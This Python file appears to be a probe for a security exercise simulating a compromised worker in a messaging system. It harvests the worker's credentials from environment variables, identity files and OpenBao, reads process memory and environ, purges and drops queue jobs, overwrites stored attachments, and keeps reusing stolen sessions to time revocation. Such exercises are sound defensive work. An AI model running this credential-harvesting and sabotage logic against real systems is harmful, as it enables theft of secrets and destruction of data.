"""Пробник учений «Компрометация worker» (лаба 7, трек 1): исполняется внутри контейнеров стенда учений интерпретатором образа приложения (asyncpg, aio-pika, botocore), а не на хосте. Запуск (infra/track1/track1.py): `python -I -c <загрузчик>`; первая строка stdin — JSON `{"code": <этот файл>, "mode": …, …}`. Секреты приходят только так (stdin) или берутся там, где их берёт сам worker (файлы identity, вход в OpenBao, окружение «до»); в argv и вывод они не попадают: вывод — JSON-строки с исходами, временами и числами. Режимы: materials — (A1, контейнер worker) материалы worker одним JSON: оркестратор держит их в памяти и передаёт копии A2 через stdin; table — (A1) исполнить строки таблицы operations.py, исход каждой; attack — (A1) действия атакующего над заданиями (`actions` во входе); hold — (A2, отдельный контейнер сети стенда) непрерывно пробовать каждый материал и портить новые задания, пока материалы действуют; строки stdin `mark <имя>` — метки времени на часах A2. """ import asyncio import contextlib import http.client import json import os import socket import ssl import struct import sys import tempfile import threading import time INPUT = globals().get("INPUT") or {} SECRETS_DIR = "/run/secrets" PROBE_ID = "00000000-0000-4000-8000-0000000071a1" # A2 продолжает атаку, пока действует открытая сессия: новые задания — в # аренду до 2100 года (их возвращает make jobs-audit REPAIR=1) ATTACK_QUEUED_SQL = ( "WITH j AS (UPDATE attachment_jobs SET state = 'processing', " "lease_until = '2100-01-01' WHERE state = 'queued' RETURNING attachment_id), " "a AS (UPDATE attachments SET status = 'processing' WHERE id IN " "(SELECT attachment_id FROM j)) SELECT count(*) FROM j" ) def emit(**fields): sys.stdout.write(json.dumps(fields, separators=(",", ":")) + "\n") sys.stdout.flush() def code_of(error): """Нормализованный код отказа без текста (в тексте бывают значения).""" sqlstate = getattr(error, "sqlstate", None) if sqlstate: return sqlstate response = getattr(error, "response", None) if isinstance(response, dict): code = response.get("Error", {}).get("Code") if code: return str(code) name = type(error).__name__ for marker, code in ( ("AccessRefused", "ACCESS_REFUSED"), ("NotAllowed", "NOT_ALLOWED"), ("NotFound", "NOT_FOUND"), ("SSL", "tls"), ("ConnectionRefused", "refused"), ("ConnectionReset", "tls"), ("IncompleteRead", "tls"), ("RemoteDisconnected", "tls"), ("BrokenPipe", "tls"), ): if marker in name: return code if isinstance(error, PermissionError): return "EACCES" if isinstance(error, OSError) and error.errno == 30: return "EROFS" if isinstance(error, (TimeoutError, socket.timeout)): return "timeout" return name # --------------------------------------------------------------- материалы def after_stand(): return os.path.exists(os.path.join(SECRETS_DIR, "worker.crt")) def read_text(name): with open(os.path.join(SECRETS_DIR, name), encoding="ascii") as handle: return handle.read() class Files: """PEM материалов во временном каталоге 0600 (tmpfs контейнера).""" def __init__(self, materials): self.dir = tempfile.mkdtemp(prefix="track1-") self.paths = {} for name in ("cert", "key", "ca", "crl"): if materials.get(name): path = os.path.join(self.dir, name + ".pem") fd = os.open(path, os.O_WRONLY | os.O_CREAT, 0o600) with os.fdopen(fd, "w") as handle: handle.write(materials[name]) self.paths[name] = path def server_context(self, *, client_cert=True): context = ssl.create_default_context(cafile=self.paths["ca"]) context.minimum_version = ssl.TLSVersion.TLSv1_3 if client_cert: context.load_cert_chain(self.paths["cert"], self.paths["key"]) return context def bao_request(materials, files, method, path, body=None, token=None, timeout=5): """Вызов OpenBao парой worker: (код, JSON или None).""" connection = http.client.HTTPSConnection( "openbao", 8200, context=files.server_context(), timeout=timeout ) headers = {"Content-Type": "application/json"} if token: headers["X-Vault-Token"] = token try: connection.request( method, "/v1/" + path, body=None if body is None else json.dumps(body), headers=headers, ) response = connection.getresponse() raw = response.read() try: data = json.loads(raw) if raw else None except ValueError: data = None return response.status, data finally: connection.close() def gather_materials(): """То, что есть у RCE в процессе worker: файлы identity, вход в OpenBao и секреты своих путей («после»); окружение процесса («до»).""" env = os.environ materials = { "stand": "after" if after_stand() else "before", "db_host": env.get("DB_HOST", "postgres"), "db_port": int(env.get("DB_PORT", "5432")), "db_name": env.get("DB_NAME", "messenger"), "bucket": env.get("S3_BUCKET", "messenger-attachments"), "s3_endpoint": env.get("S3_ENDPOINT", ""), "broker_host": env.get("BROKER_HOST", "rabbitmq"), "broker_port": int(env.get("BROKER_PORT", "5672")), } if materials["stand"] == "before": materials.update( db_user=env.get("DB_USER", ""), db_password=env.get("DB_PASSWORD", ""), s3_access=env.get("S3_ACCESS_KEY_ID", ""), s3_secret=env.get("S3_SECRET_ACCESS_KEY", ""), broker_user=env.get("BROKER_USER", ""), broker_password=env.get("BROKER_PASSWORD", ""), ) return materials materials.update( cert=read_text("worker.crt"), key=read_text("worker.key"), ca=read_text("ca.crt"), crl=read_text("crl.pem"), db_user="worker", ) files = Files(materials) status, data = bao_request( materials, files, "POST", "auth/cert/login", {"name": "worker"} ) if status != 200: raise SystemExit(f"openbao login: {status}") token = data["auth"]["client_token"] materials["bao_token"] = token _, pg = bao_request( materials, files, "GET", "messenger/data/postgres/worker", token=token ) _, s3 = bao_request( materials, files, "GET", "messenger/data/s3/worker", token=token ) materials["db_password"] = pg["data"]["data"]["password"] materials["s3_access"] = s3["data"]["data"]["access_key_id"] materials["s3_secret"] = s3["data"]["data"]["secret_access_key"] return materials # ------------------------------------------------------------ клиенты async def pg_connect(materials, files, database=None): import asyncpg context = files.server_context(client_cert=False) if "ca" in files.paths else False return await asyncpg.connect( host=materials["db_host"], port=materials["db_port"], user=materials["db_user"], password=materials["db_password"], database=database or materials["db_name"], ssl=context, timeout=5, server_settings={"application_name": "track1-probe"}, ) class _Rollback(Exception): pass async def pg_in_rollback(conn, sql): """Выражение в транзакции, которая всегда откатывается.""" with contextlib.suppress(_Rollback): async with conn.transaction(): await conn.execute(sql) raise _Rollback def s3_client(materials, files, *, access=None, secret=None): import botocore.session from botocore.config import Config return botocore.session.get_session().create_client( "s3", region_name="us-east-1", endpoint_url=materials["s3_endpoint"], # «до» — http без TLS: проверять нечего; «после» — только CA стенда verify=files.paths.get("ca"), aws_access_key_id=access or materials["s3_access"], aws_secret_access_key=secret or materials["s3_secret"], config=Config( connect_timeout=5, read_timeout=5, retries={"total_max_attempts": 1}, s3={"addressing_style": "path"}, ), ) def s3_outcome(error): status = ( getattr(error, "response", {}).get("ResponseMetadata", {}).get("HTTPStatusCode") ) code = code_of(error) if code in ("NoSuchKey", "404", "NoSuchUpload") or status == 404: # права есть, объекта нет return "ok" if status == 400 or code == "400": return "denied:400" if status == 403 or code == "403": # HEAD приходит без тела: кода ошибки нет, есть только статус return "denied:AccessDenied" return f"denied:{code}" def s3_raw(materials, files, path): """Подписанный GET с сырым путём: http.client «..» не нормализует.""" from botocore.auth import S3SigV4Auth from botocore.awsrequest import AWSRequest from botocore.credentials import Credentials endpoint = materials["s3_endpoint"] url = f"{endpoint}/{materials['bucket']}/{path}" request = AWSRequest(method="GET", url=url) S3SigV4Auth( Credentials(materials["s3_access"], materials["s3_secret"]), "s3", "us-east-1" ).add_auth(request) host = endpoint.split("://", 1)[1] name, _, port = host.partition(":") if endpoint.startswith("https"): connection = http.client.HTTPSConnection( name, int(port or 443), timeout=5, context=files.server_context(client_cert=False), ) else: connection = http.client.HTTPConnection(name, int(port or 80), timeout=5) try: connection.request( "GET", f"/{materials['bucket']}/{path}", headers=dict(request.headers.items()), ) status = connection.getresponse().status finally: connection.close() if status in (200, 404): return "ok" return f"denied:{status if status != 403 else 'AccessDenied'}" async def amqp_connect(materials, files, vhost="/"): import aio_pika if materials["stand"] == "after": context = files.server_context() return await aio_pika.connect( host=materials["broker_host"], port=materials["broker_port"], virtualhost=vhost, ssl=True, ssl_context=context, timeout=5, auth="external", ) return await aio_pika.connect( host=materials["broker_host"], port=materials["broker_port"], virtualhost=vhost, login=materials["broker_user"], password=materials["broker_password"], timeout=5, ) def queue_name(materials): return f"{materials['db_name']}.attachment-jobs" # ---------------------------------------------------------- строки таблицы def fill(text, values): for key, value in values.items(): text = text.replace("{" + key + "}", value) return text async def run_op(op, materials, files, values, state): kind, args = op["kind"], dict(op["args"]) for key, value in args.items(): if isinstance(value, str): args[key] = fill(value, values) stand = materials["stand"] if kind in ("pg_priv", "pg"): try: await pg_in_rollback(state["pg"], args["sql"]) except Exception as error: # noqa: BLE001 — исход строки code = code_of(error) if kind == "pg_priv" and code != "42501": # право есть: ошибка данных после проверки прав return "ok" return f"denied:{code}" return "ok" if kind == "pg_connect": try: conn = await pg_connect(materials, files, database=args["database"]) except Exception as error: # noqa: BLE001 return f"denied:{code_of(error)}" await conn.close() return "ok" if kind == "s3": return s3_op(args, materials, files, values) if kind == "amqp": return await amqp_op(args["action"], materials, files) if kind in ("bao", "bao_login"): if stand == "before": return "n/a" if kind == "bao_login": status, _ = bao_request( materials, files, "POST", "auth/cert/login", {"name": args["role"]} ) else: status, _ = bao_request( materials, files, args["method"], args["path"], body=args.get("body"), token=materials["bao_token"], ) return "ok" if status in (200, 204) else f"denied:{status}" return await asyncio.to_thread(process_op, kind, args, materials, files) def s3_op(args, materials, files, values): client = s3_client(materials, files) bucket = args.get("bucket") or materials["bucket"] key = args["key"] method = args["method"] try: if method == "get": client.get_object(Bucket=bucket, Key=key)["Body"].read() elif method == "head": client.head_object(Bucket=bucket, Key=key) elif method == "put": client.put_object(Bucket=bucket, Key=key, Body=b"track1 probe") elif method == "delete": client.delete_object(Bucket=bucket, Key=key) elif method == "batch_delete": answer = client.delete_objects( Bucket=bucket, Delete={"Objects": [{"Key": key}]} ) if answer.get("Errors"): return f"denied:{answer['Errors'][0].get('Code', 'error')}" elif method == "list": client.list_objects_v2(Bucket=bucket, Prefix=key, MaxKeys=1) elif method == "copy": client.copy_object( Bucket=bucket, Key=key, CopySource={"Bucket": bucket, "Key": args["source_key"]}, ) elif method == "multipart": upload = client.create_multipart_upload(Bucket=bucket, Key=key) client.upload_part( Bucket=bucket, Key=key, PartNumber=1, UploadId=upload["UploadId"], Body=b"track1", ) client.list_parts(Bucket=bucket, Key=key, UploadId=upload["UploadId"]) # уборка, не исход with contextlib.suppress(Exception): client.abort_multipart_upload( Bucket=bucket, Key=key, UploadId=upload["UploadId"] ) elif method == "acl": client.put_object_acl(Bucket=bucket, Key=key, ACL="public-read") elif method == "policy": client.get_bucket_policy(Bucket=bucket) elif method == "raw": return s3_raw(materials, files, key) else: return f"denied:unknown-{method}" except Exception as error: # noqa: BLE001 return s3_outcome(error) return "ok" async def amqp_op(action, materials, files): if action == "vhost": # отказ во входе в vhost — Connection.Close с кодом: свой клиент try: await asyncio.to_thread( Amqp(materials, files).login, 0, vhost="track1-other" ) except Exception as error: # noqa: BLE001 return f"denied:{code_of(error)}" return "ok" try: connection = await amqp_connect(materials, files) except Exception as error: # noqa: BLE001 return f"denied:{code_of(error)}" own = queue_name(materials) other = "track1.other" try: channel = await connection.channel() if action in ("passive", "get", "purge"): queue = await channel.declare_queue(own, passive=True, timeout=5) if action == "get": message = await queue.get(fail=False, timeout=5) if message is not None: await message.reject(requeue=True) elif action == "purge": await queue.purge(timeout=5) elif action == "publish": import aio_pika # publisher confirms: отказ по правам приходит закрытием канала await channel.default_exchange.publish( aio_pika.Message(b"track1 probe"), routing_key=own, timeout=5 ) elif action == "declare": # чужая очередь для строк get_other / delete_other (они идут после); # временные неисключительные очереди брокер 4.3 не разрешает никому await channel.declare_queue( other, durable=True, arguments={"x-queue-type": "quorum"}, timeout=5 ) elif action == "bind": queue = await channel.declare_queue(own, passive=True, timeout=5) await queue.bind("amq.topic", routing_key="track1", timeout=5) await queue.unbind("amq.topic", routing_key="track1", timeout=5) elif action == "get_other": # basic.get без пассивного объявления: право read проверяется # раньше существования очереди underlay = await channel.get_underlay_channel() await underlay.basic_get(other, no_ack=False, timeout=5) elif action == "delete_other": underlay = await channel.get_underlay_channel() await underlay.queue_delete(other, timeout=5) return "ok" except Exception as error: # noqa: BLE001 return f"denied:{code_of(error)}" finally: with contextlib.suppress(Exception): await connection.close() def http_status(host, port, *, context=None, server_name=None, path="/health/ready"): raw = socket.create_connection((host, port), timeout=5) try: if context is not None: raw = context.wrap_socket(raw, server_hostname=server_name or host) raw.sendall( f"GET {path} HTTP/1.1\r\nHost: {host}\r\nConnection: close\r\n\r\n".encode() ) head = raw.recv(64) finally: raw.close() if not head.startswith(b"HTTP/"): raise ConnectionResetError("no HTTP answer") return int(head.split()[1]) def process_op(kind, args, materials, files): after = materials["stand"] == "after" try: if kind == "tls": context = files.server_context() if after else None http_status( args["host"], args["port"], context=context, server_name=args.get("name"), ) elif kind == "lb": if after: context = files.server_context(client_cert=False) http_status("haproxy", 8443, context=context, server_name="localhost") else: http_status("haproxy", 8080) elif kind == "tcp": http_status(args["host"], args["port"], path="/") elif kind == "grpc": raw = socket.create_connection((args["host"], args["port"]), timeout=5) try: if after: context = files.server_context() context.set_alpn_protocols(["h2"]) raw = context.wrap_socket(raw, server_hostname="s3") raw.sendall( b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n" + b"\x00\x00\x00\x04\x00\x00\x00\x00\x00" ) if not raw.recv(9): raise ConnectionResetError("closed") finally: raw.close() elif kind == "valkey": raw = socket.create_connection(("valkey", 6379), timeout=5) try: if after: raw = files.server_context(client_cert=False).wrap_socket( raw, server_hostname="valkey" ) raw.sendall(b"*2\r\n$3\r\nGET\r\n$6\r\ntrack1\r\n") answer = raw.recv(128) finally: raw.close() if b"NOAUTH" in answer or b"WRONGPASS" in answer: return "denied:NOAUTH" elif kind == "otlp": if not after: return "n/a" status = otlp_post(files) if status is None: return "denied:tls" elif kind == "route": with open("/proc/net/route") as handle: routes = handle.read().splitlines()[1:] if not any(line.split()[1] == "00000000" for line in routes if line): return "denied:noroute" elif kind == "environ": with open("/proc/1/environ", "rb") as handle: names = [item.split(b"=", 1)[0] for item in handle.read().split(b"\0")] secret = {b"DB_PASSWORD", b"S3_SECRET_ACCESS_KEY", b"BROKER_PASSWORD"} if not secret & set(names): return "denied:absent" elif kind == "keyfile": if not after: return "n/a" read_text("worker.key") elif kind == "mem": with open("/proc/1/maps") as handle: start = next( int(line.split("-")[0], 16) for line in handle if " r" in line[:30] ) with open("/proc/1/mem", "rb") as handle: handle.seek(start) handle.read(16) elif kind == "root_write": with open("/track1-probe", "w") as handle: handle.write("x") elif kind == "caps": with open("/proc/self/status") as handle: value = next( line.split()[1] for line in handle if line.startswith("CapEff:") ) if int(value, 16) == 0: return "denied:none" else: return f"denied:unknown-{kind}" except Exception as error: # noqa: BLE001 return f"denied:{code_of(error)}" return "ok" def otlp_post(files, connection=None): """POST /v1/traces шлюзу Collector парой worker; код ответа или None (рукопожатие или allowlist отвергли).""" own = connection is None if own: connection = http.client.HTTPSConnection( "otel-collector", 4318, timeout=5, context=files.server_context() ) try: connection.request( "POST", "/v1/traces", body=b"", headers={"Content-Type": "application/x-protobuf"}, ) response = connection.getresponse() response.read() return response.status except (OSError, http.client.HTTPException): return None finally: if own: connection.close() async def mode_table(materials): files = Files(materials) values = { "db": materials["db_name"], "bucket": materials["bucket"], "probe": PROBE_ID, **INPUT.get("values", {}), } state = {"pg": await pg_connect(materials, files)} for op in INPUT["ops"]: started = time.monotonic() try: outcome = await run_op(op, materials, files, values, state) except Exception as error: # noqa: BLE001 outcome = f"error:{code_of(error)}" emit( id=op["id"], outcome=outcome, ms=round((time.monotonic() - started) * 1000) ) await state["pg"].close() # ---------------------------------------------------------- атака на задания async def mode_attack(materials): """Действия над заданиями: `actions` — [{"do": …, "id": , "sql": [выражения]}]. Исход каждого — строка; SQL (его пишет оркестратор, id — литералами UUID) — от роли worker одной транзакцией, без отката.""" files = Files(materials) conn = await pg_connect(materials, files) client = s3_client(materials, files) bucket, db = materials["bucket"], materials["db_name"] connection = await amqp_connect(materials, files) channel = await connection.channel() queue = await channel.declare_queue(queue_name(materials), passive=True) held = [] for action in INPUT["actions"]: do, ident = action["do"], action.get("id") outcome = "ok" try: if "sql" in action: async with conn.transaction(): for statement in action["sql"]: result = await conn.execute(statement) outcome = f"ok:{result}" elif do == "source_put": client.put_object( Bucket=bucket, Key=f"{db}/staging/{ident}", Body=b"track1 rewrite" ) elif do == "source_delete": client.delete_object(Bucket=bucket, Key=f"{db}/staging/{ident}") elif do == "overwrite_original": size = action["size"] client.put_object( Bucket=bucket, Key=f"{db}/attachments/{ident}/original", Body=b"\x00" * size, ) elif do == "get_ack": message = await queue.get(fail=False, timeout=5) if message is None: outcome = "empty" else: await message.ack() elif do == "reject_drop": message = await queue.get(fail=False, timeout=5) if message is None: outcome = "empty" else: await message.reject(requeue=False) elif do == "hold": message = await queue.get(fail=False, timeout=5) if message is None: outcome = "empty" else: held.append(message) elif do == "purge": result = await queue.purge() outcome = f"ok:{getattr(result, 'message_count', '?')}" else: outcome = "error:unknown" except Exception as error: # noqa: BLE001 outcome = f"denied:{code_of(error)}" emit(do=do, id=ident, outcome=outcome) # удержанные без подтверждения: соединение живёт, пока его держит stdin # оркестратора (строка «release» или закрытие) emit(held=len(held)) await asyncio.to_thread(sys.stdin.readline) for closing in (connection.close(), conn.close()): # материалы к этому времени отозваны: закрытие может не пройти with contextlib.suppress(Exception): await asyncio.wait_for(closing, 5) # ---------------------------------------------------------- A2: окна class AmqpClosed(Exception): """Брокер закрыл соединение с кодом ответа: `sqlstate` — имя кода для `code_of`.""" NAMES = {530: "NOT_ALLOWED", 403: "ACCESS_REFUSED", 320: "CONNECTION_FORCED"} def __init__(self, code): super().__init__(code) self.sqlstate = self.NAMES.get(code, str(code)) class Amqp: """Минимальный клиент AMQP 0-9-1 (вход EXTERNAL / PLAIN) на stdlib: вход, начатый задолго до его конца (рукопожатие TLS сейчас, вход — через `delay`).""" def __init__(self, materials, files): self.materials, self.files = materials, files def frame(self, sock, class_id, method_id, args): payload = struct.pack(">HH", class_id, method_id) + args sock.sendall(struct.pack(">BHI", 1, 0, len(payload)) + payload + b"\xce") def read_method(self, sock): head = self.recv(sock, 7) kind, _channel, size = struct.unpack(">BHI", head) payload = self.recv(sock, size + 1)[:-1] if kind != 1: return self.read_method(sock) method = struct.unpack(">HH", payload[:4]) if method == (10, 50): # Connection.Close: код ответа брокера (530 NOT_ALLOWED, 403 …) raise AmqpClosed(struct.unpack(">H", payload[4:6])[0]) return method, payload[4:] @staticmethod def recv(sock, size): data = b"" while len(data) < size: chunk = sock.recv(size - len(data)) if not chunk: raise ConnectionResetError("closed") data += chunk return data @staticmethod def shortstr(text): return bytes([len(text)]) + text.encode() def login(self, delay, vhost="/"): m = self.materials sock = socket.create_connection( (m["broker_host"], m["broker_port"]), timeout=15 ) try: if m["stand"] == "after": sock = self.files.server_context().wrap_socket( sock, server_hostname=m["broker_host"] ) time.sleep(delay) sock.sendall(b"AMQP\x00\x00\x09\x01") (cls, meth), _ = self.read_method(sock) if (cls, meth) != (10, 10): raise ConnectionResetError("no start") if m["stand"] == "after": mechanism, response = "EXTERNAL", b"" else: mechanism = "PLAIN" response = ( b"\0" + m["broker_user"].encode() + b"\0" + m["broker_password"].encode() ) self.frame( sock, 10, 11, b"\0\0\0\0" + self.shortstr(mechanism) + struct.pack(">I", len(response)) + response + self.shortstr("en_US"), ) (cls, meth), args = self.read_method(sock) if (cls, meth) != (10, 30): raise ConnectionResetError("refused") self.frame(sock, 10, 31, args[:8]) self.frame(sock, 10, 40, self.shortstr(vhost) + self.shortstr("") + b"\0") (cls, meth), _ = self.read_method(sock) if (cls, meth) != (10, 41): raise ConnectionResetError("refused") return True finally: sock.close() class Hold: """A2: копия материалов; события — JSON-строки `{"m": материал, "ok": …, "t": …}` только при смене исхода, итог — последний успех каждого.""" def __init__(self, materials): self.m = materials self.files = Files(materials) self.last_ok = {} self.state = {} self.lock = threading.Lock() self.stop = threading.Event() self.attacked = 0 def note(self, material, ok, detail=""): now = time.time() with self.lock: if ok: self.last_ok[material] = now if self.state.get(material) != ok: self.state[material] = ok emit(m=material, ok=ok, t=now, detail=detail) def loop(self, material, probe, period=0.5): while not self.stop.is_set(): try: probe() self.note(material, True) except Exception as error: # noqa: BLE001 self.note(material, False, code_of(error)) self.stop.wait(period) def run(self): after = self.m["stand"] == "after" amqp = Amqp(self.m, self.files) probes = { # свой цикл событий в потоке пробы: asyncio.run на каждую попытку "pg_new": lambda: asyncio.run(self.pg_new()), "s3_key": self.s3_key, "amqp_new": lambda: amqp.login(0), } if after: probes.update( otlp_new=lambda: self.otlp(None), bao_login=self.bao_login, bao_token=self.bao_token, ) threads = [ threading.Thread(target=self.loop, args=(name, probe), daemon=True) for name, probe in probes.items() ] threads.append(threading.Thread(target=self.early, args=(amqp,), daemon=True)) threads.append(threading.Thread(target=self.open_sessions, daemon=True)) for thread in threads: thread.start() for line in sys.stdin: word = line.strip() if word == "stop": break if word.startswith("mark "): emit(mark=word[5:], t=time.time()) self.stop.set() emit(done=True, last_ok=self.last_ok, attacked=self.attacked) async def pg_new(self): conn = await pg_connect(self.m, self.files) await conn.close() def s3_key(self): client = s3_client(self.m, self.files) try: client.head_object( Bucket=self.m["bucket"], Key=f"{self.m['db_name']}/staging/{PROBE_ID}" ) except Exception as error: # noqa: BLE001 if s3_outcome(error) != "ok": raise def otlp(self, connection): if otlp_post(self.files, connection) is None: raise ConnectionResetError("refused") def bao_login(self): status, _ = bao_request( self.m, self.files, "POST", "auth/cert/login", {"name": "worker"} ) if status != 200: raise PermissionError(status) def bao_token(self): status, _ = bao_request( self.m, self.files, "GET", "auth/token/lookup-self", token=self.m["bao_token"], ) if status != 200: raise PermissionError(status) def early(self, amqp): """Входы, начатые раньше команды: каждые 0,5 с новое рукопожатие TLS, вход AMQP — через 8 с (брокер ждёт вход до 10 с).""" def one(): try: amqp.login(8) self.note("amqp_early", True) except Exception as error: # noqa: BLE001 self.note("amqp_early", False, code_of(error)) while not self.stop.is_set(): threading.Thread(target=one, daemon=True).start() self.stop.wait(0.5) def open_sessions(self): """Поток открытых соединений: один цикл событий на всё время (aio-pika и asyncpg держат соединения в нём).""" try: asyncio.run(self._open_sessions()) except Exception as error: # noqa: BLE001 — назвать в выводе, не молчать emit(m="open_sessions", ok=False, t=time.time(), detail=code_of(error)) async def _open_sessions(self): """Открытые соединения: PostgreSQL, брокер (своя очередь), OTLP keep-alive; не переоткрываются. Через открытую сессию PostgreSQL — продолжение атаки: новые задания — в аренду до 2100 года.""" after = self.m["stand"] == "after" conn = await pg_connect(self.m, self.files) broker = await amqp_connect(self.m, self.files) channel = await broker.channel() queue = await channel.declare_queue(queue_name(self.m), passive=True) otlp = None if after: otlp = http.client.HTTPSConnection( "otel-collector", 4318, timeout=5, context=self.files.server_context() ) alive = {"pg_open": True, "amqp_open": True, "otlp_open": after} while not self.stop.is_set(): if alive["pg_open"]: try: done = await conn.fetchval(ATTACK_QUEUED_SQL, timeout=5) self.attacked += done or 0 self.note("pg_open", True) except Exception as error: # noqa: BLE001 alive["pg_open"] = False self.note("pg_open", False, code_of(error)) if alive["amqp_open"]: try: await queue.purge(timeout=5) self.note("amqp_open", True) except Exception as error: # noqa: BLE001 alive["amqp_open"] = False self.note("amqp_open", False, code_of(error)) if alive["otlp_open"]: try: await asyncio.to_thread(self.otlp, otlp) self.note("otlp_open", True) except Exception as error: # noqa: BLE001 alive["otlp_open"] = False self.note("otlp_open", False, code_of(error)) await asyncio.sleep(0.25) def main(): mode = INPUT.get("mode") if mode == "materials": emit(materials=gather_materials()) elif mode == "table": asyncio.run(mode_table(INPUT.get("materials") or gather_materials())) elif mode == "attack": asyncio.run(mode_attack(INPUT.get("materials") or gather_materials())) elif mode == "hold": Hold(INPUT["materials"]).run() else: raise SystemExit(f"unknown mode {mode!r}") if __name__ in ("__main__", "probe"): main()